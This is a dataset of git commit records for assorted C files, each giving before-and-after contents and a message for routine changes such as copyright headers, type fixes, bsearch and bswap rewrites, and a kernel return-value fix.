{"commit":"70705c03128c4cf0594a1dcf91a62a91b8b566e2","old_file":"lib\/libc\/gen\/semctl.c","new_file":"lib\/libc\/gen\/semctl.c","old_contents":"#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <sys\/types.h>\n#include <sys\/ipc.h>\n#include <sys\/sem.h>\n#include <stdarg.h>\n#include <stdlib.h>\n\nint semctl(int semid, int semnum, int cmd, ...)\n{\n\tva_list ap;\n\tunion semun semun;\n\tunion semun *semun_ptr;\n\n\tva_start(ap, cmd);\n\tif (cmd == IPC_SET || cmd == IPC_STAT || cmd == GETALL\n\t    || cmd == SETVAL || cmd == SETALL) {\n\t\tsemun = va_arg(ap, union semun);\n\t\tsemun_ptr = &semun;\n\t} else {\n\t\tsemun_ptr = NULL;\n\t}\n\tva_end(ap);\n\n\treturn (__semctl(semid, semnum, cmd, semun_ptr));\n}\n","new_contents":"\/*-\n * Copyright (c) 2002 Doug Rabson\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\/\n\n\n#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n#include <sys\/types.h>\n#include <sys\/ipc.h>\n#include <sys\/sem.h>\n#include <stdarg.h>\n#include <stdlib.h>\n\nint semctl(int semid, int semnum, int cmd, ...)\n{\n\tva_list ap;\n\tunion semun semun;\n\tunion semun *semun_ptr;\n\n\tva_start(ap, cmd);\n\tif (cmd == IPC_SET || cmd == IPC_STAT || cmd == GETALL\n\t    || cmd == SETVAL || cmd == SETALL) {\n\t\tsemun = va_arg(ap, union semun);\n\t\tsemun_ptr = &semun;\n\t} else {\n\t\tsemun_ptr = NULL;\n\t}\n\tva_end(ap);\n\n\treturn (__semctl(semid, semnum, cmd, semun_ptr));\n}\n","subject":"Add a missing copyright for Doug. There are other files missing this copyright in -stable.","message":"Add a missing copyright for Doug. There are other files missing this\ncopyright in -stable.\n\nPR:\t\t41397\nSubmitted by:\tdfr\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"d3c92bbf60ad44338dc87655191e8baa5fc4d96a","old_file":"src\/vio\/csync_vio_handle.h","new_file":"src\/vio\/csync_vio_handle.h","old_contents":"\/*\n * libcsync -- a library to sync a directory with another\n *\n * Copyright (c) 2008      by Andreas Schneider <mail@cynapses.org>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n *\n * vim: ft=c.doxygen ts=2 sw=2 et cindent\n *\/\n\n#ifndef _CSYNC_VIO_HANDLE_H\n#define _CSYNC_VIO_HANDLE_H\n\ntypedef void *csync_vio_method_handle_t;\ntypedef struct csync_vio_handle_s csync_vio_handle_t;\n\n#endif \/* _CSYNC_VIO_HANDLE_H *\/\n","new_contents":"\/*\n * libcsync -- a library to sync a directory with another\n *\n * Copyright (c) 2008      by Andreas Schneider <mail@cynapses.org>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n *\n * vim: ft=c.doxygen ts=2 sw=2 et cindent\n *\/\n\n#ifndef _CSYNC_VIO_HANDLE_H\n#define _CSYNC_VIO_HANDLE_H\n\ntypedef void csync_vio_method_handle_t;\ntypedef struct csync_vio_handle_s csync_vio_handle_t;\n\n#endif \/* _CSYNC_VIO_HANDLE_H *\/\n","subject":"Use the right type for the csync_vio_method_handle_t.","message":"Use the right type for the csync_vio_method_handle_t.\n","lang":"C","license":"lgpl-2.1","repos":"gco\/csync,gco\/csync,gco\/csync,meeh420\/csync,meeh420\/csync,meeh420\/csync,gco\/csync"}
{"commit":"20a03ffdbb3469cf9d24afd1007ca1f16196a195","old_file":"libc\/stdlib\/bsearch.c","new_file":"libc\/stdlib\/bsearch.c","old_contents":"\n\/*\n * This file lifted in toto from 'Dlibs' on the atari ST  (RdeBath)\n *\n * \n *    Dale Schumacher                         399 Beacon Ave.\n *    (alias: Dalnefre')                      St. Paul, MN  55104\n *    dal@syntel.UUCP                         United States of America\n *  \"It's not reality that's important, but how you perceive things.\"\n *\/\n#include <stdio.h>\n\nstatic int _bsearch;\t\t\t\/* index of element found, or where to\n\n\t\t\t\t\t\t\t\t   * insert *\/\n\nchar *bsearch(key, base, num, size, cmp)\nregister char *key;\t\t\t\t\/* item to search for *\/\nregister char *base;\t\t\t\/* base address *\/\nint num;\t\t\t\t\t\t\/* number of elements *\/\nregister int size;\t\t\t\t\/* element size in bytes *\/\nregister int (*cmp) ();\t\t\t\/* comparison function *\/\n{\n\tregister int a, b, c, dir;\n\n\ta = 0;\n\tb = num - 1;\n\twhile (a <= b) {\n\t\tc = (a + b) >> 1;\t\t\/* == ((a + b) \/ 2) *\/\n\t\tif ((dir = (*cmp) (key, (base + (c * size))))) {\n\t\t\tif (dir < 0)\n\t\t\t\tb = c - 1;\n\t\t\telse\t\t\t\t\/* (dir > 0) *\/\n\t\t\t\ta = c + 1;\n\t\t} else {\n\t\t\t_bsearch = c;\n\t\t\treturn (base + (c * size));\n\t\t}\n\t}\n\t_bsearch = b;\n\treturn (NULL);\n}\n","new_contents":"\/*\n * This file originally lifted in toto from 'Dlibs' on the atari ST  (RdeBath)\n *\n * \n *    Dale Schumacher                         399 Beacon Ave.\n *    (alias: Dalnefre')                      St. Paul, MN  55104\n *    dal@syntel.UUCP                         United States of America\n *  \"It's not reality that's important, but how you perceive things.\"\n *\n *  Reworked by Erik Andersen <andersen@uclibc.org>\n *\/\n#include <stdio.h>\n\nvoid * bsearch (const void *key, const void *base, size_t num, size_t size,\n\t         int (*cmp) (const void *, const void *))\n{\n    int dir;\n    size_t a, b, c;\n    const void *p;\n\n    a = 0;\n    b = num;\n    while (a < b)\n    {\n\tc = (a + b) >> 1;\t\t\/* == ((a + b) \/ 2) *\/\n\tp = (void *)(((const char *) base) + (c * size));\n\tdir = (*cmp)(key, p);\n\tif (dir < 0) {\n\t    b = c;\n\t} else if (dir > 0) {\n\t    a = c + 1;\n\t} else {\n\t    return (void *)p;\n\t}\n    }\n\n    return NULL;\n}\n\n","subject":"Rework and kill pointless static variable -Erik","message":"Rework and kill pointless static variable\n -Erik\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"32cd7b3a779cf2ec3341c56802df50c72607f5a1","old_file":"lin-client\/src\/main.c","new_file":"lin-client\/src\/main.c","old_contents":"static char startmessage[] = \"Linux Backup Client\";\n#include<stdio.h>\n#include<string.h>\n#include\"db.h\"\n\nint main(int argc, char **argv)\n{\n\tint argindex = 0;\n\tputs(startmessage);\n\tfor(argindex = 1; argindex < argc; argindex++)\n\t{\n\t\tif(strcmp(argv[argindex], \"version\") == 0)\n\t\t{\n\t\t\tputs(\"This should display version\");\n\t\t}\n\t\telse if(strcmp(argv[argindex], \"new\") == 0)\n\t\t{\n\t\t\tputs(\"This should create a new block\");\n\t\t\tprintf(\"Creating new block with name '%s'\\n\", argv[argindex + 1]);\n\t\t\t++argindex;\n\t\t\twrite_database(argv[argindex + 1]);\n\t\t}\n\t\telse if(strcmp(argv[argindex], \"create\") == 0)\n\t\t{\n\t\t\tif(create_database(argv[argindex + 1]))\n\t\t\t{\n\t\t\t\tputs(\"Cannot open file.\");\n\t\t\t}\n\t\t\t++argindex;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprintf(\"Command '%s' not regognized\\n\", argv[argindex]);\n\t\t}\n\t}\n\treturn 0;\n}\n\n","new_contents":"static char startmessage[] = \"Linux Backup Client\";\n#include<stdio.h>\n#include<string.h>\n#include\"db.h\"\n\nint main(int argc, char **argv)\n{\n\tTHIS WILL BREAK THE BUILD!\n\tint argindex = 0;\n\tputs(startmessage);\n\tfor(argindex = 1; argindex < argc; argindex++)\n\t{\n\t\tif(strcmp(argv[argindex], \"version\") == 0)\n\t\t{\n\t\t\tputs(\"This should display version\");\n\t\t}\n\t\telse if(strcmp(argv[argindex], \"new\") == 0)\n\t\t{\n\t\t\tputs(\"This should create a new block\");\n\t\t\tprintf(\"Creating new block with name '%s'\\n\", argv[argindex + 1]);\n\t\t\t++argindex;\n\t\t\twrite_database(argv[argindex + 1]);\n\t\t}\n\t\telse if(strcmp(argv[argindex], \"create\") == 0)\n\t\t{\n\t\t\tif(create_database(argv[argindex + 1]))\n\t\t\t{\n\t\t\t\tputs(\"Cannot open file.\");\n\t\t\t}\n\t\t\t++argindex;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprintf(\"Command '%s' not regognized\\n\", argv[argindex]);\n\t\t}\n\t}\n\treturn 0;\n}\n\n","subject":"Test to see what jenkins will do","message":"Test to see what jenkins will do\n","lang":"C","license":"mit","repos":"paulkramme\/backup"}
{"commit":"2ff0d3cfdd0920c179616e8d0738c376f787d22a","old_file":"scripts\/testScreens\/setup\/stuffCheckBox.c","new_file":"scripts\/testScreens\/setup\/stuffCheckBox.c","old_contents":"testScreens: setup: stuffCheckBox\nGo to Field [ ]\nIf [ tempSetup::InventoryLibaryYN = \"\" ]\nSet Field [ tempSetup::layoutLtagK; \"\" ]\nSet Field [ tempSetup::layoutRtagK; \"\" ]\nSet Field [ tempSetup::layoutLtagN; \"\" ]\nSet Field [ tempSetup::layoutRtagN; \"\" ]\nElse\nSet Field [ tempSetup::layoutLtagK; \"moreltagNKs2\" ]\nSet Field [ tempSetup::layoutRtagK; \"moreReferenceMenu2SkeywordOrNode1\" ]\nSet Field [ tempSetup::layoutLtagN; \"moreltagNKs2\" ]\nSet Field [ tempSetup::layoutRtagN; \"moreReferenceMenu2SkeywordOrNode1\" ]\nEnd If\nMay 4, 平成27 21:28:07 Library.fp7 - stuffCheckBox -1-\n","new_contents":"changeLibraryOrLibraryName: stuffCheckBox\n#\n#Exit the checkbox.\nGo to Field [ ]\n#\n#Set default layouts for a reference library.\nIf [ tempSetup::InventoryLibaryYN = \"\" ]\nSet Field [ tempSetup::layoutLtagK; \"\" ]\nSet Field [ tempSetup::layoutRtagK; \"\" ]\nSet Field [ tempSetup::layoutLtagN; \"\" ]\nSet Field [ tempSetup::layoutRtagN; \"\" ]\n#\n#Designate library as a reference library.\nSet Field [ sectionAttributionInfo::order; \"\" ]\nElse\n#\n#Set default layouts for a stuff\/inventory library.\nSet Field [ tempSetup::layoutLtagK; \"moreltagNKs2\" ]\nSet Field [ tempSetup::layoutRtagK; \"moreReferenceMenu2SkeywordOrNode1\" ]\nSet Field [ tempSetup::layoutLtagN; \"moreltagNKs2\" ]\nSet Field [ tempSetup::layoutRtagN; \"moreReferenceMenu2SkeywordOrNode1\" ]\n#\n#Designate library as a stuff\/inventory library.\nSet Field [ sectionAttributionInfo::order; 1 ]\nEnd If\nDecember 27, ଘ౮27 19:05:50 Library.fp7 - stuffCheckBox -1-\n","subject":"Make library type checkbox part of the library record.","message":"Make library type checkbox part of the library record.\n","lang":"C","license":"apache-2.0","repos":"HelpGiveThanks\/Library,HelpGiveThanks\/Library"}
{"commit":"7461cac37cacffb49f7084332a9e39eeafb39f6f","old_file":"COFF\/Error.h","new_file":"COFF\/Error.h","old_contents":"\/\/===- Error.h --------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_COFF_ERROR_H\n#define LLD_COFF_ERROR_H\n\n#include \"lld\/Core\/LLVM.h\"\n#include \"llvm\/Support\/Error.h\"\n\nnamespace lld {\nnamespace coff {\n\nLLVM_ATTRIBUTE_NORETURN void error(const Twine &Msg);\nvoid error(std::error_code EC, const Twine &Prefix);\nvoid error(llvm::Error E, const Twine &Prefix);\n\ntemplate <typename T> void error(const ErrorOr<T> &V, const Twine &Prefix) {\n  error(V.getError(), Prefix);\n}\n\ntemplate <class T> T check(Expected<T> E, const Twine &Prefix) {\n  if (!E)\n    return std::move(*E);\n  error(E.takeError(), Prefix);\n  return T();\n}\n\n} \/\/ namespace coff\n} \/\/ namespace lld\n\n#endif\n","new_contents":"\/\/===- Error.h --------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_COFF_ERROR_H\n#define LLD_COFF_ERROR_H\n\n#include \"lld\/Core\/LLVM.h\"\n#include \"llvm\/Support\/Error.h\"\n\nnamespace lld {\nnamespace coff {\n\nLLVM_ATTRIBUTE_NORETURN void error(const Twine &Msg);\nvoid error(std::error_code EC, const Twine &Prefix);\nvoid error(llvm::Error E, const Twine &Prefix);\n\ntemplate <typename T> void error(const ErrorOr<T> &V, const Twine &Prefix) {\n  error(V.getError(), Prefix);\n}\n\ntemplate <class T> T check(Expected<T> E, const Twine &Prefix) {\n  if (E)\n    return std::move(*E);\n  error(E.takeError(), Prefix);\n  return T();\n}\n\n} \/\/ namespace coff\n} \/\/ namespace lld\n\n#endif\n","subject":"Fix logic error in check() function.","message":"Fix logic error in check() function.\n\ngit-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@274195 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lld,llvm-mirror\/lld"}
{"commit":"51450367c482ab3e47ee0a09e7196d772b81d7ed","old_file":"src\/moints\/moints_cutil.c","new_file":"src\/moints\/moints_cutil.c","old_contents":"\n#if defined(CRAY_T3E) || defined(CRAY_T3D)\nint ONBITMASK( int *len )\n#else\nint onbitmask_( int *len )\n#endif\n{\n  unsigned int\t\tmask;\n\n  mask = ~((~0) << *len);\n  return ((int)mask);\n}\n\n  \n\n","new_contents":"#include <stdio.h>\n\nvoid c_print_sparsemat( int, int, int *, int *, int, double * );\n\n\n\n#if defined(CRAY_T3E) || defined(CRAY_T3D)\nint ONBITMASK( int *len )\n#else\nint onbitmask_( int *len )\n#endif\n{\n  unsigned int\t\tmask;\n\n  mask = ~((~0) << *len);\n  return ((int)mask);\n}\n\n  \n\n\n\n#ifdef NOCOMPILE\n\nvoid print_sparsemat_( int *nc, int *nr, int *cpi, int *ir, int *nnz, double *v )\n{\n    c_print_sparsemat( *nc, *nr, cpi, ir, *nnz, v );\n}\n\n\n\n\nvoid c_print_sparsemat( int nc, int nr, int *cpi, int *ir, int nnz, double *v )\n{\n    int\t\tic, colmax, cvlo, cvhi, ncv;\n    int\t\tnpr, hasprint, ii2r, iiv, iir, mask16bit;\n    int\t\tilab;\n\n    colmax = nc < 6 ? nc : 6;\n    mask16bit = ~((~0) << 16);\n\/*\n    printf(\"\\n\");\n    for (ic=0; ic<colmax; ++ic) {\n\tprintf(\"   %3d %3d  \", cpi[2*ic], cpi[2*ic+1] );\n    }\n    printf(\"\\n\");\n*\/\n    ii2r = sizeof(int)\/2;             \/* num of labels packed per int - 16 bits per label *\/\n    npr = 1;\n    hasprint = 1;\n    while (hasprint) {\n\thasprint = 0;\n\tfor (ic=0; ic<colmax; ++ic) {\n\t    cvlo = cpi[2*ic];\n\t    cvhi = cpi[2*ic+1];\n\t    ncv = cvhi - cvlo + 1;\n\t    if ((cvlo>0)&&(ncv>=npr)) {\n\t\tiiv = cvlo + npr - 1;\n\t\tiir = iiv\/ii2r + ((iiv%ii2r) ? 1 : 0);\n\t\tilab = (ir[iir-1] >> (16*(iiv%ii2r))) & mask16bit;\n\t\tprintf(\"   %2d %8.4f\", ilab, v[iiv-1] );\n\t\t++hasprint;\n\t    }\n\t    else {\n\t\tprintf(\"              \");\n\t    }\n\t}\n\tprintf(\"\\n\");\n\t++npr;\n    }\n}\n\t\n\n\n\n\n\n\n\n#endif\n","subject":"Add routines to print sparse data structures","message":"ATW: Add routines to print sparse data structures\n\n\n","lang":"C","license":"mit","repos":"rangsimanketkaew\/NWChem"}
{"commit":"23fdae0727101cefbb02f756edd49729b707a0b9","old_file":"Practice\/2d_array.c","new_file":"Practice\/2d_array.c","old_contents":"#include <math.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <limits.h>\n#include <stdbool.h>\n\nint main(){\n  int arr[6][6];\n  int max = 0;\n  int sum = 0;\n  int n = 0;\n\n  for(int arr_i = 0; arr_i < 6; arr_i++){\n    for(int arr_j = 0; arr_j < 6; arr_j++){\n      scanf(\"%d\",&arr[arr_i][arr_j]);\n    }\n  }\n\n  for(int arr_i = 2, mid = arr_i + 1; arr_i < 5; arr_i++){\n    for(int arr_j = 0; arr_j < 3; arr_j++){\n      if(arr_i == mid)\n      {\n        sum += arr[mid][arr_j + 1];\n        break;\n      }\n      else\n      {\n        sum += arr[arr_i][arr_j];\n        max = (sum > max) ? sum : max;\n      }\n    }\n  }\n\n  printf(\"%i\\n\", max);\n  return max;\n}\n","new_contents":"#include <math.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <limits.h>\n#include <stdbool.h>\n\nint hourglass(int *array);\n\nint main(){\n  int arr[6][6];\n  int max = 0;\n  int sum = 0;\n  int n = 0;\n  int i = 0;\n  int j = 0;\n\n\n  for(int row = 0; row < 6; row++){\n    for(int column = 0; column < 6; column++){\n      scanf(\"%d\", &arr[row][column]);\n    }\n  }\n\n  while(n < 16)\n  {\n    for(int row = i; row < i + 3; row++){\n      for(int column = j; column < j + 3; column++){\n        if(row == i + 1)\n        {\n          sum += arr[i + 1][j + 1];\n          break;\n        }\n\n        sum += arr[row][column];\n      }\n    }\n\n    if(j + 3 < 6)\n    {\n      j++;\n    }\n    else\n    {\n      j = 0;\n      i++;\n    }\n\n    if(sum > max || n == 0)\n    {\n      max = sum;\n      sum = 0;\n    }\n    else\n    {\n      sum = 0;\n    }\n    n++;\n  }\n\n  printf(\"%i\\n\", max);\n  return max;\n}\n","subject":"Add 2D Array - DS Challenge","message":"Add 2D Array - DS Challenge\n","lang":"C","license":"mit","repos":"Kunal57\/C_Problems,Kunal57\/C_Problems"}
{"commit":"fc855344ec4e97aa8de49c52c15fdb854fc2c310","old_file":"Ansi.c","new_file":"Ansi.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\/*\n * ʾǺ궨ʱõһּ\n * 1) ĺһǸ\n * 2) ΪͨԺǿ׳Ҫ󣬲ܶԺʹ÷κμ\n *\/\n#define PRINT_GREETINGS do { \\\n    printf(\"Hi there!\\n\"); \\\n} while (0)\n\nint main(const int argc, const char* const* argv)\n{\n    \/\/ Invoke function via macro\n    PRINT_GREETINGS;\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\/*\n * ʾǺ궨ʱõһּ\n * 1) ĺһǸ\n * 2) ΪͨԺǿ׳Ҫ󣬲ܶԺʹ÷κμ\n *\/\n#define PRINT_GREETINGS do { \\\n    printf(\"Hi there!\\n\"); \\\n} while (0)\n\nint main(const int argc, const char* const* argv)\n{\n    \/\/ Invoke function via macro\n    PRINT_GREETINGS;\n\n    return EXIT_SUCCESS;\n}\n","subject":"Return errorlevel with macro EXIT_SUCCESS.","message":"Return errorlevel with macro EXIT_SUCCESS.\n","lang":"C","license":"mit","repos":"niucheng\/Snippets,niucheng\/Snippets,niucheng\/Snippets"}
{"commit":"d940b57163ff5ab118821be7ad3e9ede057f5a75","old_file":"Mac\/Python\/macsetfiletype.c","new_file":"Mac\/Python\/macsetfiletype.c","old_contents":"\n\/*\n *  macsetfiletype - Set the mac's idea of file type\n *\n *\/\n \n#include <Files.h>\n#include <pascal.h>\n\nint\nsetfiletype(name, creator, type)\nchar *name;\nlong creator, type;\n{\n\tFInfo info;\n\tunsigned char *pname;\n\t\n\tpname = c2pstr(name);\n\tif ( GetFInfo(pname, 0, &info) < 0 )\n\t\treturn -1;\n\tinfo.fdType = type;\n\tinfo.fdCreator = creator;\n\treturn SetFInfo(pname, 0, &info);\n}\n\n","new_contents":"\n\/*\n *  macsetfiletype - Set the mac's idea of file type\n *\n *\/\n \n#include \"macdefs.h\"\n\nint\nsetfiletype(name, creator, type)\nchar *name;\nlong creator, type;\n{\n\tFInfo info;\n\tunsigned char *pname;\n\t\n\tpname = (StringPtr) c2pstr(name);\n\tif ( GetFInfo(pname, 0, &info) < 0 )\n\t\treturn -1;\n\tinfo.fdType = type;\n\tinfo.fdCreator = creator;\n\treturn SetFInfo(pname, 0, &info);\n}\n\n","subject":"Make it work under MPW too.","message":"Make it work under MPW too.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"ebf2d2689de551d90965090bb991fc640a0c0d41","old_file":"arch\/x86\/lib\/usercopy.c","new_file":"arch\/x86\/lib\/usercopy.c","old_contents":"\/*\n * User address space access functions.\n *\n *  For licencing details see kernel-base\/COPYING\n *\/\n\n#include <linux\/highmem.h>\n#include <linux\/module.h>\n\n#include <asm\/word-at-a-time.h>\n#include <linux\/sched.h>\n\n\/*\n * We rely on the nested NMI work to allow atomic faults from the NMI path; the\n * nested NMI paths are careful to preserve CR2.\n *\/\nunsigned long\ncopy_from_user_nmi(void *to, const void __user *from, unsigned long n)\n{\n\tunsigned long ret;\n\n\tif (__range_not_ok(from, n, TASK_SIZE))\n\t\treturn 0;\n\n\t\/*\n\t * Even though this function is typically called from NMI\/IRQ context\n\t * disable pagefaults so that its behaviour is consistent even when\n\t * called form other contexts.\n\t *\/\n\tpagefault_disable();\n\tret = __copy_from_user_inatomic(to, from, n);\n\tpagefault_enable();\n\n\treturn ret;\n}\nEXPORT_SYMBOL_GPL(copy_from_user_nmi);\n","new_contents":"\/*\n * User address space access functions.\n *\n *  For licencing details see kernel-base\/COPYING\n *\/\n\n#include <linux\/highmem.h>\n#include <linux\/module.h>\n\n#include <asm\/word-at-a-time.h>\n#include <linux\/sched.h>\n\n\/*\n * We rely on the nested NMI work to allow atomic faults from the NMI path; the\n * nested NMI paths are careful to preserve CR2.\n *\/\nunsigned long\ncopy_from_user_nmi(void *to, const void __user *from, unsigned long n)\n{\n\tunsigned long ret;\n\n\tif (__range_not_ok(from, n, TASK_SIZE))\n\t\treturn n;\n\n\t\/*\n\t * Even though this function is typically called from NMI\/IRQ context\n\t * disable pagefaults so that its behaviour is consistent even when\n\t * called form other contexts.\n\t *\/\n\tpagefault_disable();\n\tret = __copy_from_user_inatomic(to, from, n);\n\tpagefault_enable();\n\n\treturn ret;\n}\nEXPORT_SYMBOL_GPL(copy_from_user_nmi);\n","subject":"Fix copy_from_user_nmi() return if range is not ok","message":"perf\/x86: Fix copy_from_user_nmi() return if range is not ok\n\nCommit 0a196848ca36 (\"perf: Fix arch_perf_out_copy_user default\"),\nchanges copy_from_user_nmi() to return the number of\nremaining bytes so that it behave like copy_from_user().\n\nUnfortunately, when the range is outside of the process\nmemory, the return value  is still the number of byte\ncopied, eg. 0, instead of the remaining bytes.\n\nAs all users of copy_from_user_nmi() were modified as\npart of commit 0a196848ca36, the function should be\nfixed to return the total number of bytes if range is\nnot correct.\n\nSigned-off-by: Yann Droneaud <32f7bf5a1f07a8b363256f1773dbeada59d65244@opteya.com>\nSigned-off-by: Peter Zijlstra (Intel) <3fddac958924aef220f202ca567388ddab3f14a8@infradead.org>\nCc: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\nCc: Peter Zijlstra <3fddac958924aef220f202ca567388ddab3f14a8@infradead.org>\nCc: Thomas Gleixner <00e4cf8f46a57000a44449bf9dd8cbbcc209fd2a@linutronix.de>\nLink: http:\/\/lkml.kernel.org\/r\/1435001923-30986-1-git-send-email-32f7bf5a1f07a8b363256f1773dbeada59d65244@opteya.com\nSigned-off-by: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@kernel.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"0ded12b69f0834a48f2310cc7f1a5f1852b2b41f","old_file":"asylo\/platform\/posix\/include\/byteswap.h","new_file":"asylo\/platform\/posix\/include\/byteswap.h","old_contents":"\/*\n *\n * Copyright 2017 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n#define ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n\n\n#include <stdint.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ninline uint16_t bswap_16(uint16_t n) { return __builtin_bswap16(n); }\n\ninline uint32_t bswap_32(uint32_t n) { return __builtin_bswap32(n); }\n\ninline uint64_t bswap_64(uint64_t n) { return __builtin_bswap64(n); }\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif  \/\/ ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n","new_contents":"\/*\n *\n * Copyright 2017 Asylo authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n#define ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n\n\n#include <stdint.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstatic inline uint16_t bswap_16(uint16_t n) { return __builtin_bswap16(n); }\n\nstatic inline uint32_t bswap_32(uint32_t n) { return __builtin_bswap32(n); }\n\nstatic inline uint64_t bswap_64(uint64_t n) { return __builtin_bswap64(n); }\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif  \/\/ ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_\n","subject":"Declare bswap functions as static inline","message":"Declare bswap functions as static inline\n\nChange declaration to static inline to avoid multiple definition\nduring linking.\n\nPiperOrigin-RevId: 207000800\n","lang":"C","license":"apache-2.0","repos":"google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo,google\/asylo"}
